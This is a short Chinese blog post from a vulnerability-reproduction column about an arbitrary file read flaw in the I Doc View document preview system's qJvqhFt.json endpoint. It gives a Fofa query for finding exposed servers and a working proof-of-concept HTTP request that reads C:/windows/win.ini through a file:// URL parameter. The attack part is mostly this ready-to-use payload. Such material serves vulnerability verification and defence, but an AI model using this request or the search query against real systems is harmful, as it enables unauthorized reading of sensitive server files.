I Doc View在线文档预览qJvqhFt.json接口存在任意文件读取漏洞

最新推荐文章于 2024-06-29 05:00:00 发布

今天晚上早睡觉

最新推荐文章于 2024-06-29 05:00:00 发布

阅读量81

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136449413

版权

漏洞复现专栏收录该内容

365 篇文章 172 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

I Doc View是一款在线文档预览系统，其qJvqhFt.json接口被发现存在任意文件读取漏洞。该漏洞可能导致敏感信息泄露，影响所有使用此系统的用户。复现POC可用于验证漏洞的存在。

摘要由CSDN通过智能技术生成

简介

I Doc View在线文档预览是一款在线文档预览系统，旨在提供便捷的文件查看和编辑服务。

漏洞描述

I Doc View在线文档预览qJvqhFt.json接口存在任意文件读取漏洞

影响范围

I Doc View
Fofa：

title=="在线文档预览 - I Doc View"

漏洞复现

GET /view/qJvqhFt.json?start=1&size=5&url=file%3A%2F%2F%2FC%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0

了解本专栏